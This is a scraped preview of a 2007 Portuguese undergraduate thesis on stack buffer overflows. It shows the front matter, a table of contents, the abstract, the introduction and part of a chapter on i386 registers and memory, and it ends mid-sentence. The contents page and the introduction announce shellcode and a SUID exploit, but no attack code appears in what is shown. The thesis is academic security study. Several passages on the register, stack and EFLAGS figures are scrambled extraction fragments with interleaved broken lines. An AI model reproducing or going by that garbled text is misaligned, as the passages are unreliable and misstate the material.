Upload
phamduong
View
227
Download
0
Embed Size (px)
Citation preview
UNIVERSIDADE FEDERAL DE SANTA CATARINA
Stack overflows: um estudo prático
Jeverson Passing
Florianópolis – SC
2007/2
UNIVERSIDADE FEDERAL DE SANTA CATARINA
DEPARTAMENTO DE INFORMÁTICA E ESTATÍSTICA
CURSO DE SISTEMAS DE INFORMAÇÃO
Stack overflows: um estudo prático
Jeverson Passing
Trabalho de conclusão de curso apresentado
como parte dos requisitos para obtenção do
grau de Bacharel em Sistemas de Informação.
Florianópolis – SC
2007/2
Jeverson Passing
Stack overflows: um estudo prático
Trabalho de conclusão de curso apresentado
como parte dos requisitos para obtenção do
grau de Bacharel em Sistemas de Informação.
Orientador:
Prof. Dr. João Bosco Mangueira Sobral
Banca examinadora:
Eder Contri
Fernando Augusto da Silva Cruz
ÍNDICE
DEDICATÓRIAS ........................................................................................................ 8
AGRADECIMENTOS ................................................................................................. 9
LISTA DE FIGURAS ................................................................................................... 10
LISTA DE QUADROS ................................................................................................ 22
LISTA DE REDUÇÕES ............................................................................................... 14
RESUMO ................................................................................................................. 15
1 INTRODUÇÃO ....................................................................................................... 17
1.2 Objetivos ............................................................................................... 18
1.2.1 Objetivo geral ......................................................................... 18
1.2.2 Objetivos específicos .............................................................. 18
1.3 Justificativa ........................................................................................... 19
1.4 Metodologia .......................................................................................... 19
1.5 Ambiente de estudo ............................................................................. 20
2 ARQUITETURA DA FAMÍLIA INTEL X86 ................................................................. 21
2.1 Evolução histórica da Intel .................................................................... 21
2.2 Arquitetura do processador 80386 ....................................................... 23
2.2.1 Organização e segmentação da memória .............................. 24
2.2.1.1 Modelo linear .......................................................... 25
2.2.1.2 Modelo segmentado ............................................... 25
2.2.2 Tipos de dados ....................................................................... 27
2.2.2.1 Byte .......................................................................... 27
2.2.2.2 Word ........................................................................ 27
2.2.2.3 Doubleword ............................................................. 28
2.2.2.4 Inteiro ...................................................................... 29
2.2.2.5 Ordinal ..................................................................... 29
2.2.2.6 Ponteiro próximo ..................................................... 30
2.2.2.7 Ponteiro distante ..................................................... 30
2.2.2.8 String ....................................................................... 30
2.2.2.9 Campo de bits .......................................................... 30
2.2.2.10 String de bits .......................................................... 31
2.2.2.11 BCD ........................................................................ 31
2.2.2.12 BCD compactado ................................................... 31
2.2.3 Registradores ......................................................................... 32
2.2.3.1 Gerais ....................................................................... 33
2.2.3.2 De segmento ........................................................... 34
2.2.3.3 Implementação da pilha .......................................... 38
2.2.3.4 Registrador de sinalização ....................................... 39
2.2.3.4.1 Sinalizadores de estado ............................ 40
2.2.3.4.2 Sinalizador de controle ............................. 41
2.2.3.5 Ponteiro de instrução .............................................. 41
3 STACK OVERFLOWS .............................................................................................. 43
3.1 Organização dos processos na memória ............................................... 43
3.1.1 Texto ...................................................................................... 44
3.1.2 Dados ..................................................................................... 45
3.1.3 Pilha ........................................................................................ 45
3.1.3.1 Definição .................................................................. 45
3.1.3.2 Uso ........................................................................... 46
3.1.3.3 Região ...................................................................... 46
3.1.3.4 Falha teórica ............................................................ 51
3.1.3.5 Explorando ............................................................... 55
4 SHELLCODES ......................................................................................................... 66
4.1 Definição ............................................................................................... 66
4.2 Syscalls .................................................................................................. 67
4.3 Shellcode para a syscall “sys_exit” ........................................................ 71
4.4 Shellcode para a syscall “sys_execve” ................................................... 76
4.5 Shellcode para a syscall “sys_setreuid” ................................................. 83
4.6 Shellcode unindo os três anteriores ...................................................... 84
4.7 Removendo os bytes nulos do shellcode final ...................................... 86
5 EXPLORANDO ....................................................................................................... 89
5.1 Falha real em um binário com bit SUID configurado ............................ 89
5.1.1 Descobrindo o endereço de memória do shellcode ............... 94
6 TECNOLOGIAS DE PROTEÇÃO .............................................................................. 99
6.1 Curingas ................................................................................................ 99
6.1.1 Curingas terminais .................................................................. 99
6.1.2 Curingas aleatórios ................................................................. 100
6.1.3 Curingas aleatórios codificados .............................................. 101
6.2 Implementações ................................................................................... 101
7 CONCLUSÃO ......................................................................................................... 102
8 SUGESTÕES PARA TRABALHOS FUTUROS ............................................................ 104
REFERÊNCIAS BIBLIOGRÁFICAS ............................................................................... 105
APÊNDICES .............................................................................................................. 109
DEDICATÓRIAS
Pedro Passing
Neusa Maria Passing
Newerton Passing
Cristiane Passing
Fatima Cristina de Souza
AGRADECIMENTOS
Meus pais, por sempre acreditarem em meu potencial e incentivar‐me.
Meus irmãos, por serem pacientes comigo perante as adversidades.
Fatima, por ter caminhado ao meu lado durante quase toda minha graduação.
Carlos, por sua imensa ajuda nas questões práticas e teóricas.
Meus amigos, pois minha vida simplesmente não seria completa sem eles.
Prof. Dr. João Mangueira Sobral, por apoiar o tema deste trabalho e ajudar a moldá‐lo.
10
LISTA DE FIGURAS
Figura 2.1: registradores da arquitetura i386 ......................................................... 32
Figura 2.2: registradores e seus segmentos correspondentes ............................... 36
Figura 2.3: representação gráfica de uma pilha ..................................................... 39
Figura 2.4: representação gráfica do registrador EFLAGS ...................................... 40
Figura 2.5: representação gráfica do registrador EIP ............................................. 42
Figura 3.1: as regiões de um processo carregado na memória .............................. 44
Figura 3.2: programa que utiliza uma pilha em baixo nível .................................... 49
Figura 3.3: código produzido na chamada da função “exemplo()” ........................ 50
Figura 3.4: prólogo da função “exemplo()” ............................................................ 50
Figura 3.5: estado da pilha quando a função “exemplo()” é chamada ................... 51
Figura 3.6: programa com função vulnerável a stack overflow .............................. 52
Figura 3.7: estado da pilha, na chamada da função “exemplo()”, antes da
“strcpy()” ................................................................................................................ 53
Figura 3.8: estado da pilha após o retorno da função “exemplo()” ....................... 54
Figura 3.9: código da figura 3.6 alterado ................................................................ 55
Figura 3.10: resultado do “disassemble main” do código compilado da figura 3.9 56
Figura 3.11: modificação para calcular a quantidade de bytes a ser inserida no
buffer ...................................................................................................................... 59
Figura 3.12: primeira execução do programa modificado ...................................... 60
Figura 3.13: segunda execução do programa modificado ...................................... 61
11
Figura 3.14: PoC da vulnerabilidade exemplificada ................................................ 62
Figura 3.15: código impossível de ser explorado através da técnica estudada ...... 64
Figura 4.1: programa que utiliza a função “exit()” para encerrar o processo ........ 71
Figura 4.2: abertura da syscall “_exit” pelo GDB .................................................... 72
Figura 4.3: instruções necessárias para um “exit(0)” ............................................. 72
Figura 4.4: programa idêntico ao exposto na figura 4.1 ......................................... 73
Figura 4.5: primeiro passo para a obtenção dos opcodes........................................... 74
Figura 4.6.: segundo passo para a obtenção dos opcodes ..................................... 75
Figura 4.7: shellcode para executar a função “exit(0)” ........................................... 76
Figura 4.8: syscall “sys_execve” ............................................................................. 77
Figura 4.9: função do kernel responsável por executar um comando .................... 78
Figura 4.10: instruções para executar o comando “/bin//sh” ................................ 79
Figura 4.11: shellcode para executar o comando “/bin//sh” .................................. 81
Figura 4.12: saída do programa “objdump” para o programa da figura 4.11 ........ 82
Figura 4.13: execução do programa mostrado na figura 4.11 ................................ 82
Figura 4.14: código de máquina para executar a função “setreuid(0, 0)” .............. 84
Figura 4.15: opcodes para executar a função “setreuid(0, 0)” ............................... 84
Figura 4.16: shellcode pronto para ser usado (união dos três anteriores) ............. 85
Figura 4.17: shellcode final (sem null bytes) ........................................................... 88
Figura 5.1: programa que converte uma string em letras maiúsculas ................... 90
Figura 5.2: compilação e definição do bit SUID do programa mostrado na figura
5.1 ........................................................................................................................... 90
Figura 5.3: determinando quantos bytes são necessários para sobrescrever o 91
12
SEBP e o RET ...........................................................................................................
Figura 5.4: primeira versão do exploit para o programa da figura 5.1 ................... 93
Figura 5.5: representação gráfica da técnica a ser estudada ................................. 95
Figura 5.6: representação gráfica da técnica a ser estudada, agora aprimorada ... 96
Figura 5.7: função para retornar o endereço contido no ESP ................................ 97
Figura 5.8: parte da saída produzida pela segunda versão do exploit .................... 97
13
LISTA DE QUADROS
Quadro 2.1: evolução histórica dos processadores Intel ........................................ 22
14
LISTA DE REDUÇÕES
BCD Binary‐Coded Decimal
BIT Unidade binária
CPU Central Processing Unit
GB Gigabyte
IBM International Business Machines Corporation
INTEL Integrated Electronics Corporation
KB Kilobyte
MB Megabyte
PC Personal Computer
TB Terabyte
15
RESUMO
Stack overflows, assim como outros tipos de vulnerabilidades de código,
surgem através de uma seqüência de passos negativos: falha de projeto de uma
linguagem de programação, falha humana na produção de código e falha na
metodologia de desenvolvimento. Porém, tais acontecimentos não seriam alarmantes
sem o elemento responsável por identificar e explorar uma falha, dita “latente” até
que seja descoberta.
Um software vulnerável a stack overflow apresenta funcionamento correto em
condições normais, o que dificulta a detecção de problemas. Em casos especiais,
quando há a procura por uma falha desse tipo no código, possivelmente identifica‐se
um ou mais trechos que contêm vulnerabilidade(s) e, assim, encontra‐se uma maneira
de explorá‐la(s).
A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados
em um buffer do que ele pode conter. Desta maneira, o apontador de instruções (EIP)
pode ser sobrescrito com um endereço de memória predefinido, cujo qual apontará
para outra área de memória que contém um shellcode, responsável por executar
algum comando no sistema operacional do programa afetado, a critério do hacker.
16
Se o elemento identifica uma falha e sabe como explorá‐la (controlando o EIP),
então ele possui total soberania no sistema afetado, pois pode desviar o fluxo de
execução da maneira que desejar. Em cenários sofisticados de exploração, o hacker
pode obter controle sobre o sistema e não deixar vestígios sobre a invasão, uma vez
que o software afetado continuará seu fluxo de execução comum após o término das
ações planejadas pelo elemento.
Sendo assim, neste trabalho desenvolveu‐se pequenos códigos capazes de
ilustrar o impacto de um problema que possui origem conhecida no início da década
de 70, porém somente explorado pela primeira vez no final da década de 80, sendo
que as falhas cresceram exponencialmente ao longo dos anos e perduram até os dias
atuais.
Palavras‐chaves: stack, buffer, overflow, shellcode e hacker.
17
1 INTRODUÇÃO
Atualmente, muitos softwares1 seguem padrões de desenvolvimento aptos a
eliminarem problemas nos mesmos. Embora as técnicas sejam aprimoradas ao longo
do tempo, falhas sempre existirão. Não existem métodos totalmente capazes de
assegurar o contrário.
É neste ponto que um hacker2 age. Stack overflows, heap overflows, integer
overflows e format strings são, na maioria dos casos, os tipos de vulnerabilidades de
código mais visados, pois o impacto normalmente é global, afetando desde pequenas
empresas até organizações de grande porte.
Neste trabalho, então, será apresentado todo o contexto que envolve o tipo de
vulnerabilidade de código mais difundido no mundo, o stack overflow. Além da
identificação de códigos vulneráveis, um estudo detalhado de como é possível explorá‐
los (através do desenvolvimento de exploits3) será realizado. Embora não seja o foco,
algumas tecnologias de proteção serão brevemente explicadas, uma vez que, sem
sombra de dúvida, fazem parte do escopo.
1 Software ou programa de computador é uma seqüência de instruções a serem seguidas e/ou executadas, na manipulação, redirecionamento ou modificação de um dado/informação ou acontecimento. (Wikipédia, 2007); 2 Originalmente, e para certos programadores, são hackers (singular: hacker) indivíduos que elaboram e modificam software e hardware de computadores, seja desenvolvendo funcionalidades novas, seja adaptando as antigas. (Wikipédia, 2007); 3 Um exploit, em segurança da informação, é um programa de computador, uma porção de dados ou uma seqüência de comandos que se aproveita das vulnerabilidades de um sistema computacional – como o próprio sistema operativo ou serviços de interação de protocolos (ex: servidores web). (Wikipédia, 2007).
18
1.2 Objetivos
1.2.1 Objetivo geral
Propor um guia definitivo para o estudo sobre stack overflows, apresentando
detalhadamente trechos de código vulneráveis e exploits para os mesmos, assim como
uma breve descrição de tecnologias para a contenção de ataques.
1.2.2 Objetivos específicos
• Estudar a organização de processos na memória da arquitetura Intel x86;
• Identificar trechos de código sujeitos à stack overflows;
• Explorar algumas falhas através da construção de exploits.
1.3 Justificativa
Embora outros tipos de vulnerabilidades sejam graves e amplamente
disseminados, os stack overflows merecem destaque pela grande incidência em
19
códigos de softwares renomados utilizados em servidores de todo o mundo, o que
torna o assunto particularmente interessante.
Sendo assim, analisando o tema através de uma visão benevolente, fica
evidente que é preciso estudar os fatores causadores desse tipo de falha para não ser
vítima da mesma.
Por outro lado, a parte prática (leia‐se “uma visão não tão benevolente”) – após
um cuidadoso estudo da teoria – é apresentada e explicitamente detalhada, ou seja, o
escopo do trabalho é para o ataque em si, não para a defesa.
1.4 Metodologia
O trabalho está dividido em uma ordem lógica: primeiramente apresenta‐se a
arquitetura Intel x86 (utilizada neste trabalho), onde a informação mais importante é a
organização de processos na memória, pois é neste ponto que o ataque será realizado.
Depois, são expostos alguns códigos vulneráveis escritos na linguagem de
programação C, explicando onde está o problema e como o mesmo poderia ser
evitado. Na próxima etapa, demonstra‐se a criação de pequenos softwares capazes de
explorar as vulnerabilidades encontradas na seção anterior, explicando e
20
exemplificando o impacto que os mesmos podem causar. Finalmente, termina‐se
mostrando tecnologias utilizadas para a proteção contra o tipo de falha estudado.
1.5 Ambiente de estudo
A criação deste trabalho exigiu conhecimentos avançados na linguagem de
programação C e intermediários em Assembly. A plataforma de desenvolvimento
utilizada é o sistema operacional Linux Slackware 11 e as versões do compilador4 (GCC)
e do depurador5 (GDB) são as que estão contidas originalmente na distribuição citada,
ou seja, 3.4.6 e 6.5, respectivamente.
4 Um compilador é um programa que, a partir de um código escrito em uma linguagem, o código fonte, cria um programa semanticamente equivalente, porém escrito em outra linguagem, o código objeto. (Wikipédia, 2007);
5 Um depurador, ou debugger, é um programa de computador que é usado para testar outros programas e fazer sua depuração; isto é: eliminar seus problemas ou bugs. (Wikipédia, 2007).
21
2 ARQUITETURA DA FAMÍLIA INTEL X86
O crescimento exponencial da capacidade de processamento e do uso de
computadores pessoais tornou o computador uma das forças mais importantes que
moldaram os negócios e a sociedade na segunda metade do século vinte. É
perfeitamente esperado que os computadores continuem a desempenhar papéis
importantes no crescimento da tecnologia, negócios e até mesmo em outras áreas.
A arquitetura Intel x86 manteve‐se na vanguarda da revolução computacional e
ainda é a mais utilizada em todo o mundo. O aparente sucesso da arquitetura é
justificado através de dois aspectos cruciais:
• Compatibilidade retrógrada de software;
• Cada geração de processadores tem desempenho significantemente maior.
2.1 Evolução histórica da Intel
O marco da história evolutiva dos processadores Intel é a concepção do
processador 8086, pois é o primeiro da família x86 – a base da grande maioria dos
computadores modernos. O quadro 2.1 ilustra a evolução histórica da Intel até o
22
momento em que o primeiro processador 32 bits foi criado, uma vez que será a
arquitetura‐alvo deste trabalho.
Ano / Modelo Detalhes
1971 / 4004 Primeiro processador da Intel. Possuía barramento de 4 bits e
640 bytes de memória endereçável. Utilizado em máquinas
de calcular.
1972 / 8008 Primeiro processador a manipular dados e caracteres. Possuía
barramento de 8 bits e 16 KB de memória endereçável.
Utilizado em terminais “burros”, em máquinas de calcular e
de engarrafar.
1974 / 8080 Primeiro processador para computador pessoal. Possuía
barramento de 8 bits e 64 KB de memória endereçável.
Utilizado, também, em sinaleiras de trânsito.
1976 / 8085 Primeiro processador a trabalhar a 5 volts (os anteriores
operavam a 12). Possuía barramento de 8 bits e 64 KB de
memória endereçável.
1978 / 8086 Primeiro processador da família x86. Possuía barramento de
16 bits e 1 MB de memória endereçável.
1979 / 8088 Primeiro processador a atingir um grande sucesso. Isto foi
possível por ter sido escolhido pela IBM como o processador
de seu computador XT. Possuía barramento de 16 bits e 1 MB
23
de memória endereçável.
1982 / 80286 Possuía barramento de 16 bits e 16 MB de memória
endereçável.
1985 / 80386 Primeiro processador a ser chamado de CPU. Possuía
barramento de 32 bits e 4 GB de memória endereçável.
Quadro 2.1: evolução histórica dos processadores Intel.
Embora a computação de 64 bits (chamada, também, de “arquitetura IA‐64” – a
evolução da x86) já esteja presente em computadores atuais, a grande maioria dos
computadores pessoais ainda é baseada na arquitetura x86. Este trabalho é focado
justamente neste nicho, uma vez que foge do escopo do mesmo abordar outras
arquiteturas.
Vale ressaltar que os processadores seguintes ao modelo 8086, mesmo
possuindo outros nomes e ligeiras diferenças na arquitetura, também são inclusos na
família x86, uma vez que há toda a questão de compatibilidade (nomes e tamanhos de
instruções, por exemplo) envolvida.
2.2 Arquitetura do processador 80386
24
Também chamada de “IA‐32” ou, simplesmente, “i386”, é a arquitetura de
processadores produzida pela Intel com maior sucesso comercial, a qual perdura até
hoje. Isto se dá pelo fato da mesma ser uma extensão em 32 bits da famosa
arquitetura introduzida pelo processador 8086 – a “IA‐16” –, além, claro, de possuir a
maior compatibilidade retrógrada de software.
Este capítulo introduz a arquitetura i386, necessária para a posterior
compreensão do que ocorre quando há um stack overflow e, seguidamente, de como
executar código arbitrário em tal condição, uma vez que a criação de um shellcode
depende diretamente disso.
2.2.1 Organização e segmentação da memória
A memória física de um sistema i386 é organizada como uma seqüência de
bytes. Cada byte possui um endereço único que varia de 0 a 4 GB. No entanto, os
programas escritos para tal arquitetura são independentes da área física de endereços.
Isto significa que os programas podem ser escritos sem o conhecimento de quanta
memória física está disponível nem exatamente onde, na memória física, estão as
instruções e os dados a serem utilizados.
25
A arquitetura em questão dá aos programadores a possibilidade de escolher
um modelo de organização da memória para cada tarefa específica. O modelo de
organização da memória deve estar entre os seguintes extremos:
• Uma área linear de endereços que consiste de um único array com até 4 GB de
tamanho;
• Uma área segmentada de endereços que consiste em uma coleção de até
16.383 subáreas lineares.
Ambos os modelos podem oferecer proteção de memória e diferentes tarefas
podem empregar diferentes modelos de organização.
2.2.1.1 Modelo linear
Em um modelo linear de organização da memória, o programador vê somente
um array com tamanho igual a 4 GB. Embora a memória física possa conter até 4 GB,
normalmente ela é muito menor. O ponteiro para este modelo é um número ordinal
de 32 bits variando de 0 a 4 GB.
2.2.1.2 Modelo segmentado
26
Em um modelo segmentado de organização da memória, o endereçamento
disponível – chamado de “área lógica de endereços” – é muito maior que o linear: 64
TB. O processador mapeia os 64 TB disponíveis na área física de endereços através de
mecanismos de tradução de endereços. É um processo transparente, ou seja, não há
necessidade de se preocupar com tal mapeamento.
O programador vê a área lógica de endereços como uma coleção de até 16.383
subáreas lineares, cada uma com um tamanho específico. Cada subárea linear recebe
o nome de “segmento”. Cada segmento é uma unidade de uma área de endereços
contínua. O tamanho de um segmento pode variar de 1 byte até 4 GB.
Um ponteiro completo nesta área de endereços consiste de duas partes:
• Um seletor de segmento, o qual é um campo de 16 bits que identifica um
segmento em particular;
• Um offset6, o qual é um número ordinal de 32 bits que endereça o byte inicial
contido no segmento.
Durante a execução de um programa, o processador associa o seletor de
segmento com o endereço físico inicial do mesmo. Separadamente, módulos
6 Deslocamento.
27
compilados podem ser realocados em runtime7 através da troca do endereço‐base de
seus segmentos. O tamanho de um segmento é variável, então um segmento pode ter
o mesmo tamanho do módulo no qual está contido.
2.2.2 Tipos de dados
Bytes, words e doublewords são os tipos de dados fundamentais.
Posteriormente à suas definições, apresentam‐se os tipos derivados, ou seja,
diferentes interpretações de tipos possíveis perante a combinação dos tipos
fundamentais.
2.2.2.1 Byte
Um byte é composto por 8 bits contínuos dentro de qualquer endereço lógico.
Os bits são numerados de 0 a 7, sendo, o primeiro, o bit menos significativo.
2.2.2.2 Word
7 Em informática, tempo de execução ou runtime (termo em inglês), é o período em que um programa de computador permanece em execução. O termo "tempo de execução" é um contraponto ao termo tempo de compilação, que é uma referência ao período em que o código é compilado para gerar um programa executável. (Wikipédia, 2007).
28
Um word é composto por 2 bytes contínuos dentro de qualquer endereço
lógico. Sendo assim, um word possui 16 bits. Os bits são numerados de 0 a 15, sendo, o
primeiro, o bit menos significativo. O byte que contém o bit 0 é chamado de “byte
inferior”. Já o byte que contém o bit 15 é chamado de “byte superior”.
Cada byte dentro de um word tem seu próprio endereço, sendo, o menor deles,
o próprio endereço do word. Desta maneira, o byte no endereço mais baixo possui os 8
bits menos significativos, enquanto o byte no endereço mais acima possui os 8 bits
mais significativos.
2.2.2.3 Doubleword
Um doubleword é composto por 2 words contínuos dentro de qualquer
endereço lógico. Sendo assim, um doubleword possui 32 bits. Os bits são numerados
de 0 a 31, sendo, o primeiro, o bit menos significativo. O word que contém o bit 0 é
chamado de “word inferior”. Já o word que contém o bit 31 é chamado de “word
superior”.
Cada byte dentro de um doubleword tem seu próprio endereço, sendo, o
menor deles, o próprio endereço do doubleword. Desta maneira, o byte no endereço
29
mais baixo possui os 8 bits menos significativos, enquanto o byte no endereço mais
acima possui os 8 bits mais significativos.
2.2.2.4 Inteiro
Um valor numérico binário e sinalizado contido em um doubleword, word ou
byte. Todas as operações assumem que o valor está representado através do
complemento de dois. O bit de sinalização é o bit 7 em um byte, 15 em um word e 31
em um doubleword. Ele tem o valor 0 para inteiros positivos e 1 para negativos. Já que
o bit mais significativo é usado na sinalização, a faixa de um inteiro de 8 bits é de ‐128
a +127; inteiros de 16 bits podem variar de ‐32.768 a +32.767; por último, inteiros de
32 bits podem variar de ‐2147483648 a + 2147483647.
2.2.2.5 Ordinal
Um valor número binário não sinalizado contido em um doubleword, word ou
byte. Todos os bits são considerados quando se determina a magnitude do valor. A
faixa de um ordinal de 8 bits é de 0 a 255; ordinais de 16 bits podem variar de 0 a
65535; por último, ordinais de 32 bits podem variar de 0 a 4294967295.
30
2.2.2.6 Ponteiro próximo
Um endereço lógico de 32 bits. Ponteiros próximos são offsets contidos em
segmentos. São usados em ambos os modelos de organização da memória (linear e
segmentado).
2.2.2.7 Ponteiro distante
Um endereço lógico de 48 bits composto por dois componentes: um seletor de
segmento de 16 bits e um offset de 32. Ponteiros distantes são usados apenas em
modelos segmentados de memória.
2.2.2.8 String
Uma seqüência contínua de bytes, words ou doublewords. Seu tamanho varia
de 0 a 4 GB.
2.2.2.9 Campo de bits
31
Uma seqüência contínua de bits. Um campo de bits pode iniciar em qualquer
posição de um byte e pode conter até 32 bits.
2.2.2.10 String de bits
Uma seqüência contínua de bits. Uma string de bits pode iniciar em qualquer
posição de um byte e pode conter até 4294967295 bits.
2.2.2.11 BCD
Uma representação de 1 dígito decimal (na faixa de 0 a 9) na forma de byte
(não compactado). Números decimais não compactados são armazenados como
quantidades de bytes não sinalizadas. Apenas 1 dígito é armazenado em cada byte.
2.2.2.12 BCD compactado
Uma representação de 2 dígitos decimais (na faixa de 0 a 9) na forma de byte
(compactado). Neste tipo, 1 dígito é armazenado em meio byte.
2.2.3
utiliz
ser a
3 Registra
A arquit
zados por p
agrupados e
adores
tetura i386
programado
em três cate
Figura
6 contém
ores. De aco
egorias:
a 2.1: regist
um total
ordo com a
tradores da
de dezesse
a figura 2.1
arquitetura
eis registra
1, tais regis
a i386.
adores que
tradores po
32
e são
odem
33
• Registradores gerais: oito registradores de uso geral com 32 bits cada.
Normalmente contêm operandos para expressões lógicas e aritméticas;
• Registradores de segmento: seis registradores especiais que permitem a
escolha do modelo de organização da memória. Tais registradores determinam,
a qualquer momento, quais segmentos de memória são atualmente
endereçáveis;
• Registradores de estado e instruções: registradores usados para gravar e
alterar certos aspectos de estado do processador.
2.2.3.1 Registradores gerais
São registradores de 32 bits com os seguintes nomes: EAX, EBX, ECX, EDX, EBP,
ESP, ESI e EDI. Tais componentes são usados alternadamente para operandos de
expressões lógicas e aritméticas. Eles podem ser usados, também, para operandos de
cálculo de endereços (exceto o ESP, que não pode ser utilizado como operando
indexador).
34
Como é possível se observar na figura 2.1, o word inferior de cada um desses
oito registradores possui um nome próprio, podendo, assim, ser tratado como uma
unidade. Esta funcionalidade é útil para tratar dados de 16 bits e para compatibilidade
com processadores 8086 e 80286. Os nomes de tais unidades são: AX, BX, CX, DX, BP,
SP, SI e DI.
A figura 2.1, ilustra, também, que cada byte dos registradores AX, BX, CX e DX
tem um nome individual, ou seja, outra unidade em particular. Esta funcionalidade é
importante para tratar caracteres e outros dados de 8 bits. As unidades descritas são:
AH. BH, CH e DH (bytes superiores) e AL, BL, CL e DL (bytes inferiores).
Todos os registradores de uso geral estão disponíveis para endereçamentos e
resultados da maior parte dos cálculos lógicos e aritméticos; entretanto, algumas
funções particulares são dedicadas a certos registradores. Utilizando‐se registradores
próprios para tais funções, é possível que a arquitetura codifique as instruções de uma
maneira mais compacta. As instruções que incluem registradores específicos são:
multiplicação e divisão com dupla precisão, entrada e saída, instruções de string,
tradução, laço, deslocamento e rotação de variáveis e operações de pilha.
2.2.3.2 Registradores de segmento
35
Oferecem a flexibilidade de escolha entre diversos modelos de organização da
memória. Embora seja possível construir um programa que não modifique os
registradores de segmento, isto dificilmente é praticado, uma vez que aplicações
completas normalmente consistem de vários módulos distintos, cada um contendo
suas próprias instruções e dados. Entretanto, no momento da execução de um
programa, apenas um subconjunto de módulos está em uso. A arquitetura i386 obtém
vantagem disto através de mecanismos que suportam acesso direto às instruções e
dados do ambiente do módulo atual, acessando segmentos adicionais somente
quando necessário.
A qualquer momento, seis segmentos de memória podem estar imediatamente
acessíveis para um programa em execução. Os registradores de segmento CS, DS, SS,
ES, FS e GS são usados para identificar tais segmentos. Cada um destes registradores
especifica um tipo particular de segmento, categorizados pela associação de
mnemônicos (mostrados na figura 2.2): text8 ou code9, data10 ou stack11. Cada
registrador determina exclusivamente um segmento, sendo possível acessá‐los
imediatamente com grande velocidade.
8 Texto; 9 Código; 10 Dados; 11 Pilha.
cham
A ar
conte
impli
entre
proc
para
a me
poss
Fig
O segme
mado de “se
rquitetura l
eúdo do p
icitamente
e segmento
Chamada
edimentos
uma pilha.
esma. Ao c
ibilitando q
gura 2.2: re
ento que co
egmento de
lê todas as
ponteiro de
como resu
os (por exem
as de sub
normalme
Todas as o
contrário do
ue pilhas se
egistradores
ontém a seq
e código atu
s instruçõe
e instruçõe
ultado de i
mplo, as inst
b‐rotinas,
nte necess
operações d
o CS, o reg
ejam definid
s e seus segm
qüência de
ual”; ele é e
es a partir
s como off
nstruções q
truções CAL
parâmetro
itam que u
de pilha util
gistrador SS
das dinamic
mentos cor
instruções
especificado
deste segm
ffset. O reg
que transfe
LL e JMP), in
s e o re
uma região
izam o regi
S pode ser
camente.
rrespondent
atualmente
o através do
mento de
gistrador C
erem o flu
nterrupções
egistro de
da memó
strador SS
carregado
tes.
e em execu
o registrado
código e u
CS é modif
xo de exec
s e exceçõe
chamada
ria seja alo
para localiz
explicitam
36
ção é
or CS.
usa o
ficado
cução
es.
s de
ocada
zarem
mente,
37
Os registradores DS, ES, FS e GS permitem a especificação de quatro segmentos
de dados, endereçáveis pelo programa atualmente em execução. A acessibilidade a
quatro áreas de dados separadas ajuda o programa a acessar eficientemente
diferentes tipos de estruturas de dados; por exemplo, um registrador de segmento de
dados pode apontar para as estruturas de dados referentes ao módulo atual, outro
para os dados exportados de um módulo localizado em um nível superior, outro para
uma estrutura de dados criada dinamicamente e outro para um conjunto de dados
compartilhado com outra tarefa. Um operando dentro de um segmento de dados é
endereçado através da especificação de um offset diretamente em uma instrução ou
indiretamente por registradores gerais.
Dependendo da estrutura de dados (por exemplo, a maneira como os dados
são divididos em um ou mais segmentos), um programa pode precisar acessar mais do
que quatro segmentos de dados. Para acessar segmentos adicionais, os registradores
DS, ES, FS e GS podem ser modificados de acordo com o fluxo de execução do
programa. Isto simplesmente necessita que o programa execute uma instrução que
carregue o registrador de segmento apropriado antes de executar instruções que
acessem os dados.
O processador associa um endereço‐base a cada segmento selecionado por um
registrador de segmento. Para endereçar um elemento contido em um segmento, um
offset de 32 bits é somado ao endereço‐base do segmento. Uma vez que o segmento é
38
selecionado (carregando o seletor de segmento em um registrador de segmento), uma
instrução responsável por manipular dados só precisa especificar o offset.
2.2.3.3 Implementação da pilha
As operações de pilha são gerenciadas por três registradores:
• SS: é usado automaticamente pelo processador em todas as operações de
pilha;
• ESP: aponta para o topo da pilha. É referenciado implicitamente pelas
instruções PUSH e POP, chamadas de sub‐rotinas e retornos, além de
operações de interrupção. Quando um item é colocado na pilha (figura 2.3), o
processador decrementa o ESP e escreve o mesmo no novo topo. Quando um
item é retirado da pilha, o processador copia o mesmo do topo e incrementa o
ESP. Em outras palavras, a pilha cresce para baixo na memória em direção a
endereços menores;
• EBP: é a melhor escolha para o acesso a estruturas de dados, variáveis e áreas
alocadas dinamicamente dentro da pilha. O registrador EBP é freqüentemente
2.2.3
certa
do m
usado p
atual top
offset, e
segment
do regist
instruçõ
segment
3.4 Regist
É um reg
as operaçõe
mesmo.
ara acessar
po. Quando
ste último é
to atualmen
trador SS nã
es nesses c
tos endereç
Figura
trador de
gistrador d
es e indica
r elementos
o é utilizado
é calculado
nte selecion
ão precisar
asos é mais
çáveis atrav
2.3: represe
sinalizaçã
e 32 bits ch
o estado d
s na pilha r
o como reg
automatica
nado pelo r
ser explicit
s eficiente.
vés de outro
entação grá
ão
hamado EF
o processad
relativos a
istrador de
amente no
registrador
tamente esp
Também p
os registrado
áfica de um
FLAGS. É res
dor. A figur
um ponto
base para
segmento
SS, por exe
pecificado,
ode ser usa
ores de seg
a pilha.
sponsável p
ra 2.4 ilustr
fixo ao invé
o cálculo d
de pilha atu
emplo). Pelo
a codificaçã
ado para ind
gmento.
pelo contro
ra os bits d
39
és do
de um
ual (o
o fato
ão de
dexar
ole de
entro
trata
comp
ao re
2.2.3
de u
os bi
(com
F
O conjun
ado como
pilados par
egistrador F
3.4.1 Sina
Os sinali
ma instruçã
its OF, SF, Z
mparação d
Figura 2.4:
nto dos 16
uma unida
a os proces
FLAGS dos p
alizadores
zadores de
ão influenc
ZF, AF, PF e
e strings)
representaç
bits inferio
ade. Tal f
ssadores 80
processador
de estado
e estado do
ciem instruç
e CF. Já as
e LOOP (l
ção gráfica
ores do EFL
uncionalida
086 e 80286
res citados.
o
registrado
ções poster
instruções
aço) utiliza
do registra
LAGS é cham
ade é útil
6, uma vez
r EFLAGS p
riores. As in
SCAS (map
am o bit Z
ador EFLAGS
mado de FL
na execuç
que tal un
ermitem qu
nstruções a
peamento d
ZF para sin
S.
LAGS e pod
ção de có
idade é idê
ue os result
aritméticas
de string), C
nalizar que
40
de ser
ódigos
êntica
tados
usam
CMPS
suas
41
operações estão completas. Existem instruções para definir, limpar e complementar o
bit CF antes da execução de uma instrução aritmética.
2.2.3.4.2 Sinalizador de controle
O sinalizador de controle DF do registrador EFLAGS gerencia instruções de
strings através do bit DF (sinalizador de direção). Ao definir o DF, as instruções de
